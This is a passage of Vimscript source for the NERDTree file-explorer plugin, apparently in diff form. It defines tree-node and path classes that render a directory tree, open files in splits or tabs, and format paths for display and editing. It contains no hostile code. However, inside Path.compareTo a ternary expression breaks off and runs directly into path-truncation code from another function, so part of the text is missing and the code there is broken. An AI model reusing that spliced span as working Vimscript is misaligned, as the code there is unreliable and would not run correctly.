if empty(self.parent) + let parentPath = self.path.getParent() + if parentPath.equals(self.path) + throw "NERDTree.CannotCacheParentError: already at root" + endif + let self.parent = s:TreeFileNode.New(parentPath) + endif +endfunction +"FUNCTION: TreeFileNode.compareNodes {{{3 +"This is supposed to be a class level method but i cant figure out how to +"get func refs to work from a dict.. +" +"A class level method that compares two nodes +" +"Args: +"n1, n2: the 2 nodes to compare +function! s:compareNodes(n1, n2) + return a:n1.path.compareTo(a:n2.path) +endfunction + +"FUNCTION: TreeFileNode.clearBoomarks() {{{3 +function! s:TreeFileNode.clearBoomarks() + for i in s:Bookmark.Bookmarks() + if i.path.equals(self.path) + call i.delete() + end + endfor + call self.path.cacheDisplayString() +endfunction +"FUNCTION: TreeFileNode.copy(dest) {{{3 +function! s:TreeFileNode.copy(dest) + call self.path.copy(a:dest) + let newPath = s:Path.New(a:dest) + let parent = b:NERDTreeRoot.findNode(newPath.getParent()) + if !empty(parent) + call parent.refresh() + return parent.findNode(newPath) + else + return {} + endif +endfunction + +"FUNCTION: TreeFileNode.delete {{{3 +"Removes this node from the tree and calls the Delete method for its path obj +function! s:TreeFileNode.delete() + call self.path.delete() + call self.parent.removeChild(self) +endfunction + +"FUNCTION: TreeFileNode.displayString() {{{3 +" +"Returns a string that specifies how the node should be represented as a +"string +" +"Return: +"a string that can be used in the view to represent this node +function! s:TreeFileNode.displayString() + return self.path.displayString() +endfunction + +"FUNCTION: TreeFileNode.equals(treenode) {{{3 +" +"Compares this treenode to the input treenode and returns 1 if they are the +"same node. +" +"Use this method instead of == because sometimes when the treenodes contain +"many children, vim seg faults when doing == +" +"Args: +"treenode: the other treenode to compare to +function! s:TreeFileNode.equals(treenode) + return self.path.str() ==# a:treenode.path.str() +endfunction + +"FUNCTION: TreeFileNode.findNode(path) {{{3 +"Returns self if this node.path.Equals the given path. +"Returns {} if not equal. +" +"Args: +"path: the path object to compare against +function! s:TreeFileNode.findNode(path) + if a:path.equals(self.path) + return self + endif + return {} +endfunction +"FUNCTION: TreeFileNode.findOpenDirSiblingWithVisibleChildren(direction) {{{3 +" +"Finds the next sibling for this node in the indicated direction. This sibling +"must be a directory and may/may not have children as specified. +" +"Args: +"direction: 0 if you want to find the previous sibling, 1 for the next sibling +" +"Return: +"a treenode object or {} if no appropriate sibling could be found +function! s:TreeFileNode.findOpenDirSiblingWithVisibleChildren(direction) + "if we have no parent then we can have no siblings + if self.parent != {} + let nextSibling = self.findSibling(a:direction) + + while nextSibling != {} + if nextSibling.path.isDirectory && nextSibling.hasVisibleChildren() && nextSibling.isOpen + return nextSibling + endif + let nextSibling = nextSibling.findSibling(a:direction) + endwhile + endif + + return {} +endfunction +"FUNCTION: TreeFileNode.findSibling(direction) {{{3 +" +"Finds the next sibling for this node in the indicated direction +" +"Args: +"direction: 0 if you want to find the previous sibling, 1 for the next sibling +" +"Return: +"a treenode object or {} if no sibling could be found +function! s:TreeFileNode.findSibling(direction) + "if we have no parent then we can have no siblings + if self.parent != {} + + "get the index of this node in its parents children + let siblingIndx = self.parent.getChildIndex(self.path) + + if siblingIndx != -1 + "move a long to the next potential sibling node + let siblingIndx = a:direction ==# 1 ? siblingIndx+1 : siblingIndx-1 + + "keep moving along to the next sibling till we find one that is valid + let numSiblings = self.parent.getChildCount() + while siblingIndx >= 0 && siblingIndx < numSiblings + + "if the next node is not an ignored node (i.e. wont show up in the + "view) then return it + if self.parent.children[siblingIndx].path.ignore() ==# 0 + return self.parent.children[siblingIndx] + endif + + "go to next node + let siblingIndx = a:direction ==# 1 ? siblingIndx+1 : siblingIndx-1 + endwhile + endif + endif + + return {} +endfunction + +"FUNCTION: TreeFileNode.getLineNum(){{{3 +"returns the line number this node is rendered on, or -1 if it isnt rendered +function! s:TreeFileNode.getLineNum() + "if the node is the root then return the root line no. + if self.isRoot() + return s:TreeFileNode.GetRootLineNum() + endif + + let totalLines = line("$") + + "the path components we have matched so far + let pathcomponents = [substitute(b:NERDTreeRoot.path.str({'format': 'UI'}), '/ *$', '', '')] + "the index of the component we are searching for + let curPathComponent = 1 + + let fullpath = self.path.str({'format': 'UI'}) + + + let lnum = s:TreeFileNode.GetRootLineNum() + while lnum > 0 + let lnum = lnum + 1 + "have we reached the bottom of the tree? + if lnum ==# totalLines+1 + return -1 + endif + + let curLine = getline(lnum) + + let indent = s:indentLevelFor(curLine) + if indent ==# curPathComponent + let curLine = s:stripMarkupFromLine(curLine, 1) + + let curPath = join(pathcomponents, '/') . '/' . curLine + if stridx(fullpath, curPath, 0) ==# 0 + if fullpath ==# curPath || strpart(fullpath, len(curPath)-1,1) ==# '/' + let curLine = substitute(curLine, '/ *$', '', '') + call add(pathcomponents, curLine) + let curPathComponent = curPathComponent + 1 + + if fullpath ==# curPath + return lnum + endif + endif + endif + endif + endwhile + return -1 +endfunction + +"FUNCTION: TreeFileNode.GetRootForTab(){{{3 +"get the root node for this tab +function! s:TreeFileNode.GetRootForTab() + if s:treeExistsForTab() + return getbufvar(t:NERDTreeBufName, 'NERDTreeRoot') + end + return {} +endfunction +"FUNCTION: TreeFileNode.GetRootLineNum(){{{3 +"gets the line number of the root node +function! s:TreeFileNode.GetRootLineNum() + let rootLine = 1 + while getline(rootLine) !~# '^\(/\|<\)' + let rootLine = rootLine + 1 + endwhile + return rootLine +endfunction + +"FUNCTION: TreeFileNode.GetSelected() {{{3 +"gets the treenode that the cursor is currently over +function! s:TreeFileNode.GetSelected() + try + let path = s:getPath(line(".")) + if path ==# {} + return {} + endif + return b:NERDTreeRoot.findNode(path) + catch /NERDTree/ + return {} + endtry +endfunction +"FUNCTION: TreeFileNode.isVisible() {{{3 +"returns 1 if this node should be visible according to the tree filters and +"hidden file filters (and their on/off status) +function! s:TreeFileNode.isVisible() + return !self.path.ignore() +endfunction +"FUNCTION: TreeFileNode.isRoot() {{{3 +"returns 1 if this node is b:NERDTreeRoot +function! s:TreeFileNode.isRoot() + if !s:treeExistsForBuf() + throw "NERDTree.NoTreeError: No tree exists for the current buffer" + endif + + return self.equals(b:NERDTreeRoot) +endfunction + +"FUNCTION: TreeFileNode.makeRoot() {{{3 +"Make this node the root of the tree +function! s:TreeFileNode.makeRoot() + if self.path.isDirectory + let b:NERDTreeRoot = self + else + call self.cacheParent() + let b:NERDTreeRoot = self.parent + endif + + call b:NERDTreeRoot.open() + + "change dir to the dir of the new root if instructed to + if g:NERDTreeChDirMode ==# 2 + exec "cd " . b:NERDTreeRoot.path.str({'format': 'Edit'}) + endif +endfunction +"FUNCTION: TreeFileNode.New(path) {{{3 +"Returns a new TreeNode object with the given path and parent +" +"Args: +"path: a path object representing the full filesystem path to the file/dir that the node represents +function! s:TreeFileNode.New(path) + if a:path.isDirectory + return s:TreeDirNode.New(a:path) + else + let newTreeNode = copy(self) + let newTreeNode.path = a:path + let newTreeNode.parent = {} + return newTreeNode + endif +endfunction + +"FUNCTION: TreeFileNode.open() {{{3 +"Open the file represented by the given node in the current window, splitting +"the window if needed +" +"ARGS: +"treenode: file node to open +function! s:TreeFileNode.open() + if b:NERDTreeType ==# "secondary" + exec 'edit ' . self.path.str({'format': 'Edit'}) + return + endif + + "if the file is already open in this tab then just stick the cursor in it + let winnr = bufwinnr('^' . self.path.str() . '$') + if winnr != -1 + call s:exec(winnr . "wincmd w") + + else + if !s:isWindowUsable(winnr("#")) && s:firstUsableWindow() ==# -1 + call self.openSplit() + else + try + if !s:isWindowUsable(winnr("#")) + call s:exec(s:firstUsableWindow() . "wincmd w") + else + call s:exec('wincmd p') + endif + exec ("edit " . self.path.str({'format': 'Edit'})) + catch /^Vim\%((\a\+)\)\=:E37/ + call s:putCursorInTreeWin() + throw "NERDTree.FileAlreadyOpenAndModifiedError: ". self.path.str() ." is already open and modified." + catch /^Vim\%((\a\+)\)\=:/ + echo v:exception + endtry + endif + endif +endfunction +"FUNCTION: TreeFileNode.openSplit() {{{3 +"Open this node in a new window +function! s:TreeFileNode.openSplit() + + if b:NERDTreeType ==# "secondary" + exec "split " . self.path.str({'format': 'Edit'}) + return + endif + + " Save the user's settings for splitbelow and splitright + let savesplitbelow=&splitbelow + let savesplitright=&splitright + + " 'there' will be set to a command to move from the split window + " back to the explorer window + " + " 'back' will be set to a command to move from the explorer window + " back to the newly split window + " + " 'right' and 'below' will be set to the settings needed for + " splitbelow and splitright IF the explorer is the only window. + " + let there= g:NERDTreeWinPos ==# "left" ? "wincmd h" : "wincmd l" + let back = g:NERDTreeWinPos ==# "left" ? "wincmd l" : "wincmd h" + let right= g:NERDTreeWinPos ==# "left" + let below=0 + + " Attempt to go to adjacent window + call s:exec(back) + + let onlyOneWin = (winnr("$") ==# 1) + + " If no adjacent window, set splitright and splitbelow appropriately + if onlyOneWin + let &splitright=right + let &splitbelow=below + else + " found adjacent window - invert split direction + let &splitright=!right + let &splitbelow=!below + endif + + let splitMode = onlyOneWin ? "vertical" : "" + + " Open the new window + try + exec(splitMode." sp " . self.path.str({'format': 'Edit'})) + catch /^Vim\%((\a\+)\)\=:E37/ + call s:putCursorInTreeWin() + throw "NERDTree.FileAlreadyOpenAndModifiedError: ". self.path.str() ." is already open and modified." + catch /^Vim\%((\a\+)\)\=:/ + "do nothing + endtry + + "resize the tree window if no other window was open before + if onlyOneWin + let size = exists("b:NERDTreeOldWindowSize") ? b:NERDTreeOldWindowSize : g:NERDTreeWinSize + call s:exec(there) + exec("silent ". splitMode ." resize ". size) + call s:exec('wincmd p') + endif + + " Restore splitmode settings + let &splitbelow=savesplitbelow + let &splitright=savesplitright +endfunction +"FUNCTION: TreeFileNode.openVSplit() {{{3 +"Open this node in a new vertical window +function! s:TreeFileNode.openVSplit() + if b:NERDTreeType ==# "secondary" + exec "vnew " . self.path.str({'format': 'Edit'}) + return + endif + + let winwidth = winwidth(".") + if winnr("$")==#1 + let winwidth = g:NERDTreeWinSize + endif + + call s:exec("wincmd p") + exec "vnew " . self.path.str({'format': 'Edit'}) + + "resize the nerd tree back to the original size + call s:putCursorInTreeWin() + exec("silent vertical resize ". winwidth) + call s:exec('wincmd p') +endfunction +"FUNCTION: TreeFileNode.openInNewTab(options) {{{3 +function! s:TreeFileNode.openInNewTab(options) + let currentTab = tabpagenr() + + if !has_key(a:options, 'keepTreeOpen') + call s:closeTreeIfQuitOnOpen() + endif + + exec "tabedit " . self.path.str({'format': 'Edit'}) + + if has_key(a:options, 'stayInCurrentTab') && a:options['stayInCurrentTab'] + exec "tabnext " . currentTab + endif + +endfunction +"FUNCTION: TreeFileNode.putCursorHere(isJump, recurseUpward){{{3 +"Places the cursor on the line number this node is rendered on +" +"Args: +"isJump: 1 if this cursor movement should be counted as a jump by vim +"recurseUpward: try to put the cursor on the parent if the this node isnt +"visible +function! s:TreeFileNode.putCursorHere(isJump, recurseUpward) + let ln = self.getLineNum() + if ln != -1 + if a:isJump + mark ' + endif + call cursor(ln, col(".")) + else + if a:recurseUpward + let node = self + while node != {} && node.getLineNum() ==# -1 + let node = node.parent + call node.open() + endwhile + call s:renderView() + call node.putCursorHere(a:isJump, 0) + endif + endif +endfunction + +"FUNCTION: TreeFileNode.refresh() {{{3 +function! s:TreeFileNode.refresh() + call self.path.refresh() +endfunction +"FUNCTION: TreeFileNode.rename() {{{3 +"Calls the rename method for this nodes path obj +function! s:TreeFileNode.rename(newName) + let newName = substitute(a:newName, '\(\\\|\/\)$', '', '') + call self.path.rename(newName) + call self.parent.removeChild(self) + + let parentPath = self.path.getParent() + let newParent = b:NERDTreeRoot.findNode(parentPath) + + if newParent != {} + call newParent.createChild(self.path, 1) + call newParent.refresh() + endif +endfunction +"FUNCTION: TreeFileNode.renderToString {{{3 +"returns a string representation for this tree to be rendered in the view +function! s:TreeFileNode.renderToString() + return self._renderToString(0, 0, [], self.getChildCount() ==# 1) +endfunction + + +"Args: +"depth: the current depth in the tree for this call +"drawText: 1 if we should actually draw the line for this node (if 0 then the +"child nodes are rendered only) +"vertMap: a binary array that indicates whether a vertical bar should be draw +"for each depth in the tree +"isLastChild:true if this curNode is the last child of its parent +function! s:TreeFileNode._renderToString(depth, drawText, vertMap, isLastChild) + let output = "" + if a:drawText ==# 1 + + let treeParts = '' + + "get all the leading spaces and vertical tree parts for this line + if a:depth > 1 + for j in a:vertMap[0:-2] + if g:NERDTreeDirArrows + let treeParts = treeParts . ' ' + else + if j ==# 1 + let treeParts = treeParts . '| ' + else + let treeParts = treeParts . ' ' + endif + endif + endfor + endif + + "get the last vertical tree part for this line which will be different + "if this node is the last child of its parent + if !g:NERDTreeDirArrows + if a:isLastChild + let treeParts = treeParts . '`' + else + let treeParts = treeParts . '|' + endif + endif + + "smack the appropriate dir/file symbol on the line before the file/dir + "name itself + if self.path.isDirectory + if self.isOpen + if g:NERDTreeDirArrows + let treeParts = treeParts . '▾ ' + else + let treeParts = treeParts . '~' + endif + else + if g:NERDTreeDirArrows + let treeParts = treeParts . '▸ ' + else + let treeParts = treeParts . '+' + endif + endif + else + if g:NERDTreeDirArrows + let treeParts = treeParts . ' ' + else + let treeParts = treeParts . '-' + endif + endif + let line = treeParts . self.displayString() + + let output = output . line . "\n" + endif + + "if the node is an open dir, draw its children + if self.path.isDirectory ==# 1 && self.isOpen ==# 1 + + let childNodesToDraw = self.getVisibleChildren() + if len(childNodesToDraw) > 0 + + "draw all the nodes children except the last + let lastIndx = len(childNodesToDraw)-1 + if lastIndx > 0 + for i in childNodesToDraw[0:lastIndx-1] + let output = output . i._renderToString(a:depth + 1, 1, add(copy(a:vertMap), 1), 0) + endfor + endif + + "draw the last child, indicating that it IS the last + let output = output . childNodesToDraw[lastIndx]._renderToString(a:depth + 1, 1, add(copy(a:vertMap), 0), 1) + endif + endif + + return output +endfunction +"CLASS: TreeDirNode {{{2 +"This class is a child of the TreeFileNode class and constitutes the +"'Composite' part of the composite design pattern between the treenode +"classes. +"============================================================ +let s:TreeDirNode = copy(s:TreeFileNode) +"FUNCTION: TreeDirNode.AbsoluteTreeRoot(){{{3 +"class method that returns the highest cached ancestor of the current root +function! s:TreeDirNode.AbsoluteTreeRoot() + let currentNode = b:NERDTreeRoot + while currentNode.parent != {} + let currentNode = currentNode.parent + endwhile + return currentNode +endfunction +"FUNCTION: TreeDirNode.activate(forceKeepWinOpen) {{{3 +unlet s:TreeDirNode.activate +function! s:TreeDirNode.activate(forceKeepWinOpen) + call self.toggleOpen() + call s:renderView() + call self.putCursorHere(0, 0) +endfunction +"FUNCTION: TreeDirNode.addChild(treenode, inOrder) {{{3 +"Adds the given treenode to the list of children for this node +" +"Args: +"-treenode: the node to add +"-inOrder: 1 if the new node should be inserted in sorted order +function! s:TreeDirNode.addChild(treenode, inOrder) + call add(self.children, a:treenode) + let a:treenode.parent = self + + if a:inOrder + call self.sortChildren() + endif +endfunction + +"FUNCTION: TreeDirNode.close() {{{3 +"Closes this directory +function! s:TreeDirNode.close() + let self.isOpen = 0 +endfunction + +"FUNCTION: TreeDirNode.closeChildren() {{{3 +"Closes all the child dir nodes of this node +function! s:TreeDirNode.closeChildren() + for i in self.children + if i.path.isDirectory + call i.close() + call i.closeChildren() + endif + endfor +endfunction + +"FUNCTION: TreeDirNode.createChild(path, inOrder) {{{3 +"Instantiates a new child node for this node with the given path. The new +"nodes parent is set to this node. +" +"Args: +"path: a Path object that this node will represent/contain +"inOrder: 1 if the new node should be inserted in sorted order +" +"Returns: +"the newly created node +function! s:TreeDirNode.createChild(path, inOrder) + let newTreeNode = s:TreeFileNode.New(a:path) + call self.addChild(newTreeNode, a:inOrder) + return newTreeNode +endfunction + +"FUNCTION: TreeDirNode.findNode(path) {{{3 +"Will find one of the children (recursively) that has the given path +" +"Args: +"path: a path object +unlet s:TreeDirNode.findNode +function! s:TreeDirNode.findNode(path) + if a:path.equals(self.path) + return self + endif + if stridx(a:path.str(), self.path.str(), 0) ==# -1 + return {} + endif + + if self.path.isDirectory + for i in self.children + let retVal = i.findNode(a:path) + if retVal != {} + return retVal + endif + endfor + endif + return {} +endfunction +"FUNCTION: TreeDirNode.getChildCount() {{{3 +"Returns the number of children this node has +function! s:TreeDirNode.getChildCount() + return len(self.children) +endfunction + +"FUNCTION: TreeDirNode.getChild(path) {{{3 +"Returns child node of this node that has the given path or {} if no such node +"exists. +" +"This function doesnt not recurse into child dir nodes +" +"Args: +"path: a path object +function! s:TreeDirNode.getChild(path) + if stridx(a:path.str(), self.path.str(), 0) ==# -1 + return {} + endif + + let index = self.getChildIndex(a:path) + if index ==# -1 + return {} + else + return self.children[index] + endif + +endfunction + +"FUNCTION: TreeDirNode.getChildByIndex(indx, visible) {{{3 +"returns the child at the given index +"Args: +"indx: the index to get the child from +"visible: 1 if only the visible children array should be used, 0 if all the +"children should be searched. +function! s:TreeDirNode.getChildByIndex(indx, visible) + let array_to_search = a:visible? self.getVisibleChildren() : self.children + if a:indx > len(array_to_search) + throw "NERDTree.InvalidArgumentsError: Index is out of bounds." + endif + return array_to_search[a:indx] +endfunction + +"FUNCTION: TreeDirNode.getChildIndex(path) {{{3 +"Returns the index of the child node of this node that has the given path or +"-1 if no such node exists. +" +"This function doesnt not recurse into child dir nodes +" +"Args: +"path: a path object +function! s:TreeDirNode.getChildIndex(path) + if stridx(a:path.str(), self.path.str(), 0) ==# -1 + return -1 + endif + + "do a binary search for the child + let a = 0 + let z = self.getChildCount() + while a < z + let mid = (a+z)/2 + let diff = a:path.compareTo(self.children[mid].path) + + if diff ==# -1 + let z = mid + elseif diff ==# 1 + let a = mid+1 + else + return mid + endif + endwhile + return -1 +endfunction + +"FUNCTION: TreeDirNode.GetSelected() {{{3 +"Returns the current node if it is a dir node, or else returns the current +"nodes parent +unlet s:TreeDirNode.GetSelected +function! s:TreeDirNode.GetSelected() + let currentDir = s:TreeFileNode.GetSelected() + if currentDir != {} && !currentDir.isRoot() + if currentDir.path.isDirectory ==# 0 + let currentDir = currentDir.parent + endif + endif + return currentDir +endfunction +"FUNCTION: TreeDirNode.getVisibleChildCount() {{{3 +"Returns the number of visible children this node has +function! s:TreeDirNode.getVisibleChildCount() + return len(self.getVisibleChildren()) +endfunction + +"FUNCTION: TreeDirNode.getVisibleChildren() {{{3 +"Returns a list of children to display for this node, in the correct order +" +"Return: +"an array of treenodes +function! s:TreeDirNode.getVisibleChildren() + let toReturn = [] + for i in self.children + if i.path.ignore() ==# 0 + call add(toReturn, i) + endif + endfor + return toReturn +endfunction + +"FUNCTION: TreeDirNode.hasVisibleChildren() {{{3 +"returns 1 if this node has any childre, 0 otherwise.. +function! s:TreeDirNode.hasVisibleChildren() + return self.getVisibleChildCount() != 0 +endfunction + +"FUNCTION: TreeDirNode._initChildren() {{{3 +"Removes all childen from this node and re-reads them +" +"Args: +"silent: 1 if the function should not echo any "please wait" messages for +"large directories +" +"Return: the number of child nodes read +function! s:TreeDirNode._initChildren(silent) + "remove all the current child nodes + let self.children = [] + + "get an array of all the files in the nodes dir + let dir = self.path + let globDir = dir.str({'format': 'Glob'}) + let filesStr = globpath(globDir, '*') . "\n" . globpath(globDir, '.*') + let files = split(filesStr, "\n") + + if !a:silent && len(files) > g:NERDTreeNotificationThreshold + call s:echo("Please wait, caching a large dir ...") + endif + + let invalidFilesFound = 0 + for i in files + + "filter out the .. and . directories + "Note: we must match .. AND ../ cos sometimes the globpath returns + "../ for path with strange chars (eg $) + if i !~# '\/\.\.\/\?$' && i !~# '\/\.\/\?$' + + "put the next file in a new node and attach it + try + let path = s:Path.New(i) + call self.createChild(path, 0) + catch /^NERDTree.\(InvalidArguments\|InvalidFiletype\)Error/ + let invalidFilesFound += 1 + endtry + endif + endfor + + call self.sortChildren() + + if !a:silent && len(files) > g:NERDTreeNotificationThreshold + call s:echo("Please wait, caching a large dir ... DONE (". self.getChildCount() ." nodes cached).") + endif + + if invalidFilesFound + call s:echoWarning(invalidFilesFound . " file(s) could not be loaded into the NERD tree") + endif + return self.getChildCount() +endfunction +"FUNCTION: TreeDirNode.New(path) {{{3 +"Returns a new TreeNode object with the given path and parent +" +"Args: +"path: a path object representing the full filesystem path to the file/dir that the node represents +unlet s:TreeDirNode.New +function! s:TreeDirNode.New(path) + if a:path.isDirectory != 1 + throw "NERDTree.InvalidArgumentsError: A TreeDirNode object must be instantiated with a directory Path object." + endif + + let newTreeNode = copy(self) + let newTreeNode.path = a:path + + let newTreeNode.isOpen = 0 + let newTreeNode.children = [] + + let newTreeNode.parent = {} + + return newTreeNode +endfunction +"FUNCTION: TreeDirNode.open() {{{3 +"Reads in all this nodes children +" +"Return: the number of child nodes read +unlet s:TreeDirNode.open +function! s:TreeDirNode.open() + let self.isOpen = 1 + if self.children ==# [] + return self._initChildren(0) + else + return 0 + endif +endfunction + +" FUNCTION: TreeDirNode.openExplorer() {{{3 +" opens an explorer window for this node in the previous window (could be a +" nerd tree or a netrw) +function! s:TreeDirNode.openExplorer() + let oldwin = winnr() + call s:exec('wincmd p') + if oldwin ==# winnr() || (&modified && s:bufInWindows(winbufnr(winnr())) < 2) + call s:exec('wincmd p') + call self.openSplit() + else + exec ("silent edit " . self.path.str({'format': 'Edit'})) + endif +endfunction +"FUNCTION: TreeDirNode.openInNewTab(options) {{{3 +unlet s:TreeDirNode.openInNewTab +function! s:TreeDirNode.openInNewTab(options) + let currentTab = tabpagenr() + + if !has_key(a:options, 'keepTreeOpen') || !a:options['keepTreeOpen'] + call s:closeTreeIfQuitOnOpen() + endif + + tabnew + call s:initNerdTree(self.path.str()) + + if has_key(a:options, 'stayInCurrentTab') && a:options['stayInCurrentTab'] + exec "tabnext " . currentTab + endif +endfunction +"FUNCTION: TreeDirNode.openRecursively() {{{3 +"Opens this treenode and all of its children whose paths arent 'ignored' +"because of the file filters. +" +"This method is actually a wrapper for the OpenRecursively2 method which does +"the work. +function! s:TreeDirNode.openRecursively() + call self._openRecursively2(1) +endfunction + +"FUNCTION: TreeDirNode._openRecursively2() {{{3 +"Opens this all children of this treenode recursively if either: +" *they arent filtered by file filters +" *a:forceOpen is 1 +" +"Args: +"forceOpen: 1 if this node should be opened regardless of file filters +function! s:TreeDirNode._openRecursively2(forceOpen) + if self.path.ignore() ==# 0 || a:forceOpen + let self.isOpen = 1 + if self.children ==# [] + call self._initChildren(1) + endif + + for i in self.children + if i.path.isDirectory ==# 1 + call i._openRecursively2(0) + endif + endfor + endif +endfunction + +"FUNCTION: TreeDirNode.refresh() {{{3 +unlet s:TreeDirNode.refresh +function! s:TreeDirNode.refresh() + call self.path.refresh() + + "if this node was ever opened, refresh its children + if self.isOpen || !empty(self.children) + "go thru all the files/dirs under this node + let newChildNodes = [] + let invalidFilesFound = 0 + let dir = self.path + let globDir = dir.str({'format': 'Glob'}) + let filesStr = globpath(globDir, '*') . "\n" . globpath(globDir, '.*') + let files = split(filesStr, "\n") + for i in files + "filter out the .. and . directories + "Note: we must match .. AND ../ cos sometimes the globpath returns + "../ for path with strange chars (eg $) + if i !~# '\/\.\.\/\?$' && i !~# '\/\.\/\?$' + + try + "create a new path and see if it exists in this nodes children + let path = s:Path.New(i) + let newNode = self.getChild(path) + if newNode != {} + call newNode.refresh() + call add(newChildNodes, newNode) + + "the node doesnt exist so create it + else + let newNode = s:TreeFileNode.New(path) + let newNode.parent = self + call add(newChildNodes, newNode) + endif + + + catch /^NERDTree.InvalidArgumentsError/ + let invalidFilesFound = 1 + endtry + endif + endfor + + "swap this nodes children out for the children we just read/refreshed + let self.children = newChildNodes + call self.sortChildren() + + if invalidFilesFound + call s:echoWarning("some files could not be loaded into the NERD tree") + endif + endif +endfunction + +"FUNCTION: TreeDirNode.reveal(path) {{{3 +"reveal the given path, i.e. cache and open all treenodes needed to display it +"in the UI +function! s:TreeDirNode.reveal(path) + if !a:path.isUnder(self.path) + throw "NERDTree.InvalidArgumentsError: " . a:path.str() . " should be under " . self.path.str() + endif + + call self.open() + + if self.path.equals(a:path.getParent()) + let n = self.findNode(a:path) + call s:renderView() + call n.putCursorHere(1,0) + return + endif + + let p = a:path + while !p.getParent().equals(self.path) + let p = p.getParent() + endwhile + + let n = self.findNode(p) + call n.reveal(a:path) +endfunction +"FUNCTION: TreeDirNode.removeChild(treenode) {{{3 +" +"Removes the given treenode from this nodes set of children +" +"Args: +"treenode: the node to remove +" +"Throws a NERDTree.ChildNotFoundError if the given treenode is not found +function! s:TreeDirNode.removeChild(treenode) + for i in range(0, self.getChildCount()-1) + if self.children[i].equals(a:treenode) + call remove(self.children, i) + return + endif + endfor + + throw "NERDTree.ChildNotFoundError: child node was not found" +endfunction + +"FUNCTION: TreeDirNode.sortChildren() {{{3 +" +"Sorts the children of this node according to alphabetical order and the +"directory priority. +" +function! s:TreeDirNode.sortChildren() + let CompareFunc = function("s:compareNodes") + call sort(self.children, CompareFunc) +endfunction + +"FUNCTION: TreeDirNode.toggleOpen() {{{3 +"Opens this directory if it is closed and vice versa +function! s:TreeDirNode.toggleOpen() + if self.isOpen ==# 1 + call self.close() + else + call self.open() + endif +endfunction + +"FUNCTION: TreeDirNode.transplantChild(newNode) {{{3 +"Replaces the child of this with the given node (where the child node's full +"path matches a:newNode's fullpath). The search for the matching node is +"non-recursive +" +"Arg: +"newNode: the node to graft into the tree +function! s:TreeDirNode.transplantChild(newNode) + for i in range(0, self.getChildCount()-1) + if self.children[i].equals(a:newNode) + let self.children[i] = a:newNode + let a:newNode.parent = self + break + endif + endfor +endfunction +"============================================================ +"CLASS: Path {{{2 +"============================================================ +let s:Path = {} +"FUNCTION: Path.AbsolutePathFor(str) {{{3 +function! s:Path.AbsolutePathFor(str) + let prependCWD = 0 + if s:running_windows + let prependCWD = a:str !~# '^.:\(\\\|\/\)' + else + let prependCWD = a:str !~# '^/' + endif + + let toReturn = a:str + if prependCWD + let toReturn = getcwd() . s:Path.Slash() . a:str + endif + + return toReturn +endfunction +"FUNCTION: Path.bookmarkNames() {{{3 +function! s:Path.bookmarkNames() + if !exists("self._bookmarkNames") + call self.cacheDisplayString() + endif + return self._bookmarkNames +endfunction +"FUNCTION: Path.cacheDisplayString() {{{3 +function! s:Path.cacheDisplayString() + let self.cachedDisplayString = self.getLastPathComponent(1) + + if self.isExecutable + let self.cachedDisplayString = self.cachedDisplayString . '*' + endif + + let self._bookmarkNames = [] + for i in s:Bookmark.Bookmarks() + if i.path.equals(self) + call add(self._bookmarkNames, i.name) + endif + endfor + if !empty(self._bookmarkNames) + let self.cachedDisplayString .= ' {' . join(self._bookmarkNames) . '}' + endif + + if self.isSymLink + let self.cachedDisplayString .= ' -> ' . self.symLinkDest + endif + + if self.isReadOnly + let self.cachedDisplayString .= ' [RO]' + endif +endfunction +"FUNCTION: Path.changeToDir() {{{3 +function! s:Path.changeToDir() + let dir = self.str({'format': 'Cd'}) + if self.isDirectory ==# 0 + let dir = self.getParent().str({'format': 'Cd'}) + endif + + try + execute "cd " . dir + call s:echo("CWD is now: " . getcwd()) + catch + throw "NERDTree.PathChangeError: cannot change CWD to " . dir + endtry +endfunction + +"FUNCTION: Path.compareTo() {{{3 +" +"Compares this Path to the given path and returns 0 if they are equal, -1 if +"this Path is "less than" the given path, or 1 if it is "greater". +" +"Args: +"path: the path object to compare this to +" +"Return: +"1, -1 or 0 +function! s:Path.compareTo(path) + let thisPath = self.getLastPathComponent(1) + let thatPath = a:path.getLastPathComponent(1) + + "if the paths are the same then clearly we return 0 + if thisPath ==# thatPath + return 0 + endif + + let thisSS = self.getSortOrderIndex() + let thatSS = a:path.getSortOrderIndex() + + "compare the sort sequences, if they are different then the return + "value is easy + if thisSS < thatSS + return -1 + elseif thisSS > thatSS + return 1 + else + "if the sort sequences are the same then compare the paths + "alphabetically + let pathCompare = g:NERDTreeCaseSensitiveSort ? thisPath <# thatPath : thisPath limit + let toReturn = "<" . strpart(toReturn, len(toReturn) - limit + 1) + endif + endif + + return toReturn +endfunction + +"FUNCTION: Path._strForUI() {{{3 +function! s:Path._strForUI() + let toReturn = '/' . join(self.pathSegments, '/') + if self.isDirectory && toReturn != '/' + let toReturn = toReturn . '/' + endif + return toReturn +endfunction + +"FUNCTION: Path._strForCd() {{{3 +" +" returns a string that can be used with :cd +function! s:Path._strForCd() + return escape(self.str(), s:escape_chars) +endfunction +"FUNCTION: Path._strForEdit() {{{3 +" +"Return: the string for this path that is suitable to be used with the :edit +"command +function! s:Path._strForEdit() + let p = self.str({'format': 'UI'}) + let cwd = getcwd() + + if s:running_windows + let p = tolower(self.str()) + let cwd = tolower(getcwd()) + endif + + let p = escape(p, s:escape_chars) + + let cwd = cwd . s:Path.Slash() + + "return a relative path if we can + if stridx(p, cwd) ==# 0 + let p = strpart(p, strlen(cwd)) + endif + + if p ==# '' + let p = '.' + endif + + return p + +endfunction +"FUNCTION: Path._strForGlob() {{{3 +function! s:Path._strForGlob() + let lead = s:Path.Slash() + + "if we are running windows then slap a drive letter on the front + if s:running_windows + let lead = self.drive . '\' + endif + + let toReturn = lead . join(self.pathSegments, s:Path.Slash()) + + if !s:running_windows + let toReturn = escape(toReturn, s:escape_chars) + endif + return toReturn +endfunction +"FUNCTION: Path._str() {{{3 +" +"Gets the string path for this path object that is appropriate for the OS. +"EG, in windows c:\foo\bar +" in *nix /foo/bar +function! s:Path._str() + let lead = s:Path.Slash() + + "if we are running windows then slap a drive letter on the front + if s:running_windows + let lead = self.drive . '\' + endif + + return lead . join(self.pathSegments, s:Path.Slash()) +endfunction + +"FUNCTION: Path.strTrunk() {{{3 +"Gets the path without the last segment on the end. +function! s:Path.strTrunk() + return self.drive . '/' . join(self.pathSegments[0:-2], '/') +endfunction + +"FUNCTION: Path.WinToUnixPath(pathstr){{{3 +"Takes in a windows path and returns the unix equiv +" +"A class level method +" +"Args: +"pathstr: the windows path to convert +function! s:Path.WinToUnixPath(pathstr) + if !s:running_windows + return a:pathstr + endif + + let toReturn = a:pathstr + + "remove the x:\ of the front + let 